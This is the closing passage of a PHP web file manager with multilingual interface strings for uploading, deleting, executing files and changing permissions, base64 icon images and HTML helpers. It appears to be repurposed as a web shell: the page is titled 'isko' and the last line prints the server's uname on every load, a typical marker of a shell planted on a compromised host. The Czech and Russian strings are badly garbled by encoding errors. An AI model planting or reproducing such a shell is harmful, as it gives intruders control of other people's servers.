2104'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2105'rename_file' => 'Adi degisen dosya:',
2106'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2107'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2108'move_files' => 'Tasinan dosyalar:',
2109'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2110'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2111'copy_files' => 'Kopyalanan dosyalar:',
2112'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2113'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2114'not_edited' => '"[%1]" düzenlenemiyor.',
2115'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
2116'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
2117'saved' => '"[%1]" kaydedildi.',
2118'not_saved' => '"[%1]" kaydedilemedi.',
2119'symlinked' => '"[%2]" den "[%1]" e kysayol olu?turuldu.',
2120'not_symlinked' => '"[%2]"den "[%1]" e kysayol olu?turulamady.',
2121'permission_for' => 'Izinler "[%1]":',
2122'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2123'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2124'not_readable' => '"[%1]" okunamiyor.'
2125 );
2126
2127 case 'cs':
2128
2129 $date_format = 'd.m.y H:i:s';
2130 $word_charset = 'UTF-8';
2131
2132 return array(
2133'directory' => 'Adresář',
2134'file' => 'Soubor',
2135'filename' => 'Jméno souboru',
2136
2137'size' => 'Velikost',
2138'permission' => 'Práva',
2139'owner' => 'VlastnÃÂk',
2140'group' => 'Skupina',
2141'other' => 'OstatnÃÂ',
2142'functions' => 'Funkce',
2143
2144'read' => 'ÄŒtenÃÂ',
2145'write' => 'Zápis',
2146'execute' => 'SpouÅ¡tÄ›nÃÂ',
2147
2148'create_symlink' => 'Vytvořit symbolický odkaz',
2149'delete' => 'Smazat',
2150'rename' => 'PÃ…â„¢ejmenovat',
2151'move' => 'PÃ…â„¢esunout',
2152'copy' => 'ZkopÃÂrovat',
2153'edit' => 'OtevÅ™ÃÂt',
2154'download' => 'Stáhnout',
2155'upload' => 'Nahraj na server',
2156'create' => 'VytvoÃ…â„¢it',
2157'change' => 'Změnit',
2158'save' => 'Uložit',
2159'set' => 'Nastavit',
2160'reset' => 'zpět',
2161'relative' => 'Relatif',
2162
2163'yes' => 'Ano',
2164'no' => 'Ne',
2165'back' => 'Zpět',
2166'destination' => 'Destination',
2167'symlink' => 'Symbolický odkaz',
2168'no_output' => 'Prázdný výstup',
2169
2170'user' => 'Uživatel',
2171'password' => 'Heslo',
2172'add' => 'PÃ…â„¢idat',
2173'add_basic_auth' => 'přidej základnàautentizaci',
2174
2175'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2176'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2177'already_exists' => 'Soubor "[%1]" už exituje.',
2178'created' => 'Soubor "[%1]" byl vytvoÃ…â„¢en.',
2179'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
2180'really_delete' => 'Vymazat soubor?',
2181'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2182'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
2183'rename_file' => 'PÃ…â„¢ejmenuj soubory:',
2184'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
2185'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
2186'move_files' => 'PÃ…â„¢emÃÂstit tyto soubory:',
2187'moved' => "Tyto soubory byly pÃ…â„¢emÃÂstÄ›ny do \"[%2]\":\n[%1]",
2188'not_moved' => "Tyto soubory nemohly být pÃ…â„¢emÃÂstÄ›ny do \"[%2]\":\n[%1]",
2189'copy_files' => 'ZkopÃÂrovat tyto soubory:',
2190'copied' => "Tyto soubory byly zkopÃÂrovány do \"[%2]\":\n[%1]",
2191'not_copied' => "Tyto soubory nemohly být zkopÃÂrovány do \"[%2]\":\n[%1]",
2192'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
2193'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
2194'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
2195'saved' => 'Soubor "[%1]" byl uložen.',
2196'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2197'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
2198'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
2199'permission_for' => 'Práva k "[%1]":',
2200'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
2201'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
2202'not_readable' => 'Soubor "[%1]" nenàmožno pÃ…â„¢eÄÂÃÂst.'
2203 );
2204
2205 case 'ru':
2206
2207 $date_format = 'd.m.y H:i:s';
2208 $word_charset = 'KOI8-R';
2209
2210 return array(
2211'directory' => 'ëÃÔÃÃŒÃÇ',
2212'file' => 'æÃÊÌ',
2213'filename' => 'éÃÑ ÆÃÊÌÃ',
2214
2215'size' => 'òÃÚÃÃ…Ã’',
2216'permission' => '?Ã’Ã×Ã',
2217'owner' => 'èÃÚÑÉÎ',
2218'group' => 'çÒÕ??Ã',
2219'other' => 'äÒÕÇÉÅ',
2220'functions' => 'æÕÎËÃÉÑ',
2221
2222'read' => '?ÉÔÃÔØ',
2223'write' => '?ÉÓÃÔØ',
2224'execute' => '×Ù?ÃÌÎÉÔØ',
2225
2226'create_symlink' => 'óÄÅÌÃÔØ ÓÉÃÌÉÎË',
2227'delete' => 'ÕÄÃÌÉÔØ',
2228'rename' => '?ÅÒÅÉÃÃ…ÃŽÃ×ÃÔØ',
2229'move' => '?ÅÒÅÄ×ÉÎÕÔØ',
2230'copy' => 'ËÃ?ÉÒÃ×ÃÔØ',
2231'edit' => 'ÒÅÄÃËÔÉÒÃ×ÃÔØ',
2232'download' => 'ÓËÃ?ÃÔØ',
2233'upload' => 'ÚÃËÃ?ÃÔØ',
2234'create' => 'ÓÄÅÌÃÔØ',
2235'change' => '?ÃÃÅÎÑÔØ',
2236'save' => 'ÓÃÈÒÃÎÉÔØ',
2237'set' => 'ÕÓÔÃÃŽÃ×ÉÔØ',
2238'reset' => 'ÓÂÒÃÓÉÔØ',
2239'relative' => 'ÃÔÎÃÓÉÔÅÌØÎÙÊ ?ÕÔØ Ë ÃÅÌÉ',
2240
2241'yes' => 'ÄÃ',
2242'no' => 'ÎÅÔ',
2243'back' => 'ÃŽÃÚÃÄ',
2244'destination' => 'ÃÅÌØ',
2245'symlink' => 'ÓÉÃ×ÃÌÉ?ÅÓËÉÊ ÌÉÎË',
2246'no_output' => 'ÎÅÔ ×Ù×ÃÄÃ',
2247
2248'user' => '?ÃÌØÚÃ×ÃÔÅÌØ',
2249'password' => '?ÃÃ’ÃÌØ',
2250'add' => 'ÄÃÂÃ×ÉÔØ',
2251'add_basic_auth' => 'äÃÂÃ×ÉÔØ HTTP-Basic-Auth',
2252
2253'uploaded' => '"[%1]" ÂÙÌ ÚÃËÃ?Ã…ÃŽ.',
2254'not_uploaded' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÚÃËÃ?ÑÔØ.',
2255'already_exists' => '"[%1]" ÕÖÅ ÓÕYÅÓÔ×ÕÅÔ.',
2256'created' => '"[%1]" ÂÙÌ ÓÄÅÌÃÃŽ.',
2257'not_created' => '"[%1]" ÃŽÃ… ×ÃÚÃÃÖÎà ÓÄÅÌÃÔØ.',
2258'really_delete' => 'äÅÊÓÔ×ÉÔÅÌØÎà ÜÔÃÔ ÆÃÊÌ ÕÄÃÌÉÔØ?',
2259'deleted' => "óÌÅÄÕÀYÉÅ ÆÃÊÌÙ ÂÙÌÉ ÕÄÃÌÅÎÙ:\n[%1]",
2260'not_deleted' => "óÌÅÄÕÀYÉÅ ÆÃÊÌÙ ÃŽÃ… ×ÃÚÃÃÖÎà ÂÙÌà ÕÄÃÌÉÔØ:\n[%1]",
2261'rename_file' => '?ÅÒÅÉÃÃ…ÃŽÃ×Ù×ÃÀ ÆÃÊÌ:',
2262'renamed' => '"[%1]" ÂÙÌ ?ÅÒÅÉÃÃ…ÃŽÃ×ÃÃŽ ÃŽÃ "[%2]".',
2263'not_renamed' => '"[%1] ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ?ÅÒÅÉÃÃ…ÃŽÃ×ÃÔØ ÃŽÃ "[%2]".',
2264'move_files' => '?ÅÒÅÄ×ÉÇÃÀ ÓÌÅÄÕÀYÉÅ ÆÃÊÌÙ:',
2265'moved' => "óÌÅÄÕÀYÉÅ ÆÃÊÌÙ ÂÙÌÉ ?ÅÒÅÄ×ÉÎÕÔÙ × ËÃÔÃÃŒÃÇ \"[%2]\":\n[%1]",
2266'not_moved' => "óÌÅÄÕÀYÉÅ ÆÃÊÌÙ ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ?ÅÒÅÄ×ÉÎÕÔØ × ËÃÔÃÃŒÃÇ \"[%2]\":\n[%1]",
2267'copy_files' => 'ëÃ?ÉÒÕÀ ÓÌÅÄÕYÉÅ ÆÃÊÌÙ:',
2268'copied' => "óÌÅÄÕYÉÅ ÆÃÊÌÙ ÂÙÌÙ ÓËÃ?ÉÒÃ×ÃÎÙ × ËÃÔÃÃŒÃÇ \"[%2]\" :\n[%1]",
2269'not_copied' => "óÌÅÄÕÀYÉÅ ÆÃÊÌÙ ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÓËÃ?ÉÒÃ×ÃÔØ × ËÃÔÃÃŒÃÇ \"[%2]\" :\n[%1]",
2270'not_edited' => '"[%1]" ÃŽÃ… ÃÃÖÅÔ ÂÙÔØ ÃÔÒÅÄÃËÔÉÒÃ×ÃÃŽ.',
2271'executed' => "\"[%1]\" ÂÙÌ ÕÓ?ÅÛÎà ÉÓ?ÃÌÎÅÎ:\n{%2}",
2272'not_executed' => "\"[%1]\" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÚÃ?ÕÓÔÉÔØ Îà ÉÓ?ÃÌÎÅÎÉÅ:\n{%2}",
2273'saved' => '"[%1]" ÂÙÌ ÓÃÈÒÃÃŽÃ…ÃŽ.',
2274'not_saved' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÓÃÈÒÃÎÉÔØ.',
2275'symlinked' => 'óÉÃÌÉÎË Ó "[%2]" ÃŽÃ "[%1]" ÂÙÌ ÓÄÅÌÃÃŽ.',
2276'not_symlinked' => 'îÅ×ÃÚÃÃÖÎà ÂÙÌà ÓÄÅÌÃÔØ ÓÉÃÌÉÎË Ó "[%2]" ÃŽÃ "[%1]".',
2277'permission_for' => '?Ã’Ã×à ÄÃÓÔÕ?à "[%1]":',
2278'permission_set' => '?Ã’Ã×à ÄÃÓÔÕ?à "[%1]" ÂÙÌÉ ÉÚÃÅÎÅÎÙ ÃŽÃ [%2].',
2279'permission_not_set' => 'îÅ×ÃÚÃÃÖÎà ÂÙÌà ÉÚÃÅÎÉÔØ ?Ã’Ã×à ÄÃÓÔÕ?à Ë "[%1]" ÃŽÃ [%2] .',
2280'not_readable' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ?Ã’Ã?ÉÔÃÔØ.'
2281 );
2282
2283 case 'en':
2284 default:
2285
2286 $date_format = 'n/j/y H:i:s';
2287 $word_charset = 'ISO-8859-1';
2288
2289 return array(
2290'directory' => 'Directory',
2291'file' => 'File',
2292'filename' => 'Filename',
2293
2294'size' => 'Size',
2295'permission' => 'Permission',
2296'owner' => 'Owner',
2297'group' => 'Group',
2298'other' => 'Others',
2299'functions' => 'Functions',
2300
2301'read' => 'read',
2302'write' => 'write',
2303'execute' => 'execute',
2304
2305'create_symlink' => 'create symlink',
2306'delete' => 'delete',
2307'rename' => 'rename',
2308'move' => 'move',
2309'copy' => 'copy',
2310'edit' => 'edit',
2311'download' => 'download',
2312'upload' => 'upload',
2313'create' => 'create',
2314'change' => 'change',
2315'save' => 'save',
2316'set' => 'set',
2317'reset' => 'reset',
2318'relative' => 'Relative path to target',
2319
2320'yes' => 'Yes',
2321'no' => 'No',
2322'back' => 'back',
2323'destination' => 'Destination',
2324'symlink' => 'Symlink',
2325'no_output' => 'no output',
2326
2327'user' => 'User',
2328'password' => 'Password',
2329'add' => 'add',
2330'add_basic_auth' => 'add basic-authentification',
2331
2332'uploaded' => '"[%1]" has been uploaded.',
2333'not_uploaded' => '"[%1]" could not be uploaded.',
2334'already_exists' => '"[%1]" already exists.',
2335'created' => '"[%1]" has been created.',
2336'not_created' => '"[%1]" could not be created.',
2337'really_delete' => 'Delete these files?',
2338'deleted' => "These files have been deleted:\n[%1]",
2339'not_deleted' => "These files could not be deleted:\n[%1]",
2340'rename_file' => 'Rename file:',
2341'renamed' => '"[%1]" has been renamed to "[%2]".',
2342'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2343'move_files' => 'Move these files:',
2344'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2345'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2346'copy_files' => 'Copy these files:',
2347'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2348'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2349'not_edited' => '"[%1]" can not be edited.',
2350'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2351'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2352'saved' => '"[%1]" has been saved.',
2353'not_saved' => '"[%1]" could not be saved.',
2354'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2355'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2356'permission_for' => 'Permission of "[%1]":',
2357'permission_set' => 'Permission of "[%1]" was set to [%2].',
2358'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2359'not_readable' => '"[%1]" can not be read.'
2360 );
2361
2362 }
2363
2364}
2365
2366function getimage ($image) {
2367 switch ($image) {
2368 case 'file':
2369 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2370 case 'folder':
2371 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2372 case 'hidden_file':
2373 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2374 case 'link':
2375 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2376 case 'smiley':
2377 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2378 case 'arrow':
2379 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2380 }
2381}
2382
2383function html_header () {
2384 global $site_charset;
2385
2386 echo <<<END
2387<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2388 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2389<html xmlns="http://www.w3.org/1999/xhtml">
2390<head>
2391
2392<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2393
2394<title>isko</title>
2395
2396<style type="text/css">
2397body { font: small sans-serif; text-align: center }
2398img { width: 17px; height: 13px }
2399a, a:visited { text-decoration: none; color: navy }
2400hr { border-style: none; height: 1px; background-color: silver; color: silver }
2401#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2402#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2403.listing th, .listing td { padding: 1px 3pt 0 3pt }
2404.listing th { border: 1px solid silver }
2405.listing td { border: 1px solid #ddd; background: white }
2406.listing .checkbox { text-align: center }
2407.listing .filename { text-align: left }
2408.listing .size { text-align: right }
2409.listing th.permission { text-align: left }
2410.listing td.permission { font-family: monospace }
2411.listing .owner { text-align: left }
2412.listing .group { text-align: left }
2413.listing .functions { text-align: left }
2414.listing_footer td { background: #eee; border: 1px solid silver }
2415#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2416#directory { background: #eee; border: 1px solid silver }
2417#upload { padding-top: 1em }
2418#create { padding-bottom: 1em }
2419.small, .small option { font-size: x-small }
2420textarea { border: none; background: white }
2421table.dialog { margin-left: auto; margin-right: auto }
2422td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2423#permission { margin-left: auto; margin-right: auto }
2424#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2425td.permission_action { text-align: right }
2426#symlink { background: #eee; border: 1px solid silver }
2427#symlink td { text-align: left; padding: 3pt }
2428#red_button { width: 120px; color: #400 }
2429#green_button { width: 120px; color: #040 }
2430#error td { background: maroon; color: white; border: 1px solid silver }
2431#notice td { background: green; color: white; border: 1px solid silver }
2432#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2433code { font-size: 12pt }
2434td { white-space: nowrap }
2435</style>
2436
2437<script type="text/javascript">
2438<!--
2439function activate (name) {
2440 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2441 document.forms[0].elements['focus'].value = name;
2442 }
2443}
2444//-->
2445</script>
2446
2447</head>
2448<body>
2449
2450
2451END;
2452
2453}
2454
2455function html_footer () {
2456
2457 echo <<<END
2458</body>
2459</html>
2460END;
2461
2462}
2463
2464function notice ($phrase) {
2465 global $cols;
2466
2467 $args = func_get_args();
2468 array_shift($args);
2469
2470 return '<tr id="notice">
2471 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2472</tr>
2473';
2474
2475}
2476
2477function error ($phrase) {
2478 global $cols;
2479
2480 $args = func_get_args();
2481 array_shift($args);
2482
2483 return '<tr id="error">
2484 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2485</tr>
2486';
2487
2488}
2489echo '<b>x<br><br>'.php_uname().'<br></b>';
2490?>